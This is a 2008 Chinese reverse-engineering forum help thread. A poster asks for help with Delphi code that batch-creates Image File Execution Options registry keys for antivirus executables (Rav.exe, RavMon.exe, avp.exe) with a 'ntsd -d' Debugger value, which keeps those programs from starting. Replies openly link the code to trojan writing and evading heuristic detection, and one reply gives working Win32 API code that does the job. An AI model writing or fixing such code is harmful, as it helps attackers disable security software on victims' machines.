首页
社区
课程
招聘
[求助] delphi批量改注册表问题
发表于: 2008-6-24 18:45 4808

[求助] delphi批量改注册表问题

2008-6-24 18:45
4808
代码如下
想把
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
下批量建立类似于'rav.exe''avp.exe'的键值
并把每个键值新建字符串Debugger,并都附值为ntsd -d
但结果不行,请问如何解决
procedure image;
var reg: Tregistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_MACHINE;
reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options', True);
reg.CreateKey('Rav.exe');
   reg.WriteString('Debugger', 'ntsd -d');
reg.CreateKey('RavMon.exe');
reg.WriteString('Debugger', 'ntsd -d');
reg.CreateKey('avp.exe.exe');
reg.WriteString('Debugger', 'ntsd -d');

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (8)
雪    币: 184
活跃值: (65)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
2
写木马?还用TRegistry类?
2008-6-24 19:52
0
雪    币: 249
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
这样才不会被启发杀
2008-6-24 20:37
0
雪    币: 213
活跃值: (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
哎,哪个告诉我答案吧....
不用tregistry 怎么改注册表???
2008-6-24 21:11
0
雪    币: 268
活跃值: (40)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
5
直接调用API
2008-6-24 21:16
0
雪    币: 102
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6


procedure SetAppRun(s: string; b: Boolean);

var
    key: HKEY;
    norun: string;
    subkey: string;
    lg: Cardinal;
begin
//ShowMessage(select_item);

    subkey := 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\'
        + 'Image File Execution Options\' + s;
    if b then
    begin
       lg := RegCreateKey(HKEY_LOCAL_MACHINE, PChar(subkey), key);
    if lg <> ERROR_SUCCESS then
        ShowMessage(' error 1');

    norun := 'DisabledRun';  //    'ntsd -d'
    lg := RegSetValueEx(key, PChar('Debugger'), 0, REG_SZ,
        PChar(norun), length(norun));
    if lg <> ERROR_SUCCESS then
        ShowMessage(' error 2');
    end
    else
        RegDeleteKey(HKEY_LOCAL_MACHINE,PChar(subkey));
    
    RegCloseKey(key);
end;
2008-6-24 22:04
0
雪    币: 213
活跃值: (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
收下了...呵呵我试试
2008-6-25 01:29
0
雪    币: 213
活跃值: (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
多谢了
...还是这好...别地无人能答
2008-6-25 01:30
0
雪    币: 225
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
9
2008-6-25 09:19
0
游客
登录 | 注册 方可回帖
返回
//